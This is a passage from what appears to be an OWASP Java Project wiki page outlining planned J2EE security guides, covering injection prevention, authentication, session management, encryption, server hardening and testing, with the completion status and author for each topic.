As with the other Injection sections, only provide cursory information on the general case. Should contain practical real-world advise and code examples for preventing XPATH injection.<br />
* Overview (0%, TD)<br />
* Prevention (0%, TD)<br />
<br />
==== [[Miscellaneous Injection Attacks]] ====<br />
* HTTP Response splitting (0%, TD)<br />
* [[Command injection in Java]] - Runtime.getRuntime().exec() (80%, Neil Bergman)<br />
* Regular Expression (regex) Injections (20%)<br />
<br />
''' Status '''<br />
In progress<br />
<br />
=== Authentication===<br />
* [[Storing credentials]] - (20%, Adrian San Juan, <b>Review</b>)<br />
* [[Hashing Java|Hashing]] - (100%, Michel Prunet, <b>Review</b>)<br />
* [[SSL Best Practices]] - (20%, Philippe Curmin, <b>Review</b>)<br />
* [[Using JCaptcha]] - (100%, Dave Ferguson, <b>Review</b>) <br />
* Container-managed authentication with Realms<br />
** [[Declarative Access Control in Java]] - (100%, Dave Ferguson, Completed)<br />
* [[JAAS Timed Login Module]] - (100%, Stephen de Vries, <b>Review</b>)<br />
* [[JAAS Tomcat Login Module]] - (100%, Stephen de Vries, <b>Review</b>)<br />
* [[Password length & complexity]] - (100%, Adrian San Juan, <b>Review</b>)<br />
<br />
===Session Management ===<br />
The generic problems and solutions for session management are covered in the Guide. This section should focus on Java specific examples.<br />
* Logout (0%, TD)<br />
* Session Timeout (0%, TD)<br />
* Absolute Timeout (0%, TD)<br />
* [[Session Fixation in Java]] (100%, Rohyt Belani, <b>Review</b>)<br />
* Terminating sessions (0%, TD)<br />
** Terminating sessions when the browser window is closed<br />
<br />
===Authorization===<br />
* [[Declarative v/s Programmatic]] (10%, TD)<br />
* EJB Authorization (0%, TD)<br />
* Acegi (0%, TD)<br />
* JACC (0%, TD)<br />
* Check horizontal privilege (0%, TD)<br />
<br />
=== Encryption===<br />
* [http://www.owasp.org/index.php/Using_the_Java_Cryptographic_Extensions JCE] (100%, Joe Prasanna Kumar - To be reviewed)<br />
* Storing db secrets (0%, TD)<br />
* Encrypting JDBC connections (0%, TD)<br />
* [http://www.owasp.org/index.php/Using_the_Java_Secure_Socket_Extensions JSSE] (100%, Joe Prasanna Kumar - To be reviewed)<br />
* [http://www.owasp.org/index.php/Digital_Signature_Implementation_in_Java Digital Signatures in Java] (100%, Joe Prasanna Kumar - To be reviewed)<br />
<br />
=== Error Handling & Logging===<br />
* Logging - why log? what to log? log4j, etc. (0%, TD)<br />
* Exception handling techniques (0%, TD)<br />
** fail-open/fail-closed<br />
** resource cleanup<br />
** finally block<br />
** swallowing exceptions<br />
* Exception handling frameworks (50%, TD)<br />
** Servlet spec - web.xml <br />
** [[Securing tomcat]] (100%, Darren Edmonds, Completed)<br />
** JSP errorPage (0%, TD)<br />
* Web application forensics (0%, TD)<br />
<br />
=== Web Services Security ===<br />
* SAML (0%, TD)<br />
* (X)WS-Security (0%, TD)<br />
* SunJWSDP (0%, TD)<br />
* WSS4J (0%, Eelco Klaver)<br />
* XML Signature (JSR 105) (0%, TD)<br />
* XML Encryption (JSR 106) (0%, TD)<br />
<br />
=== Code Analysis Tools ===<br />
The introduction should cover the advantages and short comings of code analysis tools. An overview of the current state of the art and the available tools would go well here. As a start, only open source tools are listed, but if vendors of commercial tools adhere to the [[Tutorial]] guidelines, these submissions will be gladly received.<br />
* Introduction (0%, TD)<br />
* [[:Category:OWASP LAPSE Project]] (100%, <b>Review</b>)<br />
* FindBugs (0%, TD)<br />
** Creating custom rules<br />
* PMD (0%, TD)<br />
** Creating custom rules<br />
* JLint (0%, TD)<br />
* Jmetrics (0%, TD)<br />
<br />
== J2EE Security For Deployers ==<br />
Practical step-by-step guides to securing various J2EE servers. Examples of secure configurations can also be provided for download. If configurations are provided, they should be properly commented so that the rationale for configuration settings is clearly explained. Users of the configurations should be provided with enough information to make their own risk decisions.<br />
=== Securing Popular J2EE Servers ===<br />
* [[Securing tomcat|Securing Tomcat]] - (100%, Darren Edmonds, Completed)<br />
* Securing JBoss (0%, TD)<br />
* Securing WebLogic (0%, TD)<br />
* Securing WebSphere (0%, TD)<br />
* Others...<br />
<br />
=== Defining a Java Security Policy ===<br />
Practical information on creating a Java security policies for J2EE servers.<br />
* PolicyTool - JChains already provides this functionality, one policy tool is enough.<br />
* jChains (www.jchains.org) - (0%, TD)<br />
<br />
=== Protecting Binaries ===<br />
* Bytecode manipulation tools and techniques (0%, TD)<br />
* [[Bytecode obfuscation]] (100%, Pierre Parrend, Released)<br />
* Convert bytecode to native machine code (0%, TD)<br />
* [[Protecting code archives with digital signatures]] (100%, Pierre Parrend, Released)<br />
* [[Signing jar files with jarsigner]] (100%, Pierre Parrend, Released)<br />
<br />
==J2EE Security for Security Analysts and Testers==<br />
* Using Eclipse to verify Java applications (0%, TD)<br />
* Using [[:Category:OWASP WebScarab Project|WebScarab]] to find vulnerabilities in J2EE applications - (0%, TD)<br />
* Decompiling Java bytecode (0%, TD)<br />
<br />
== [[Java Security Resources]] (ongoing)==<br />
<br />
[[Category:OWASP Java Project]]</div>Neil Bergman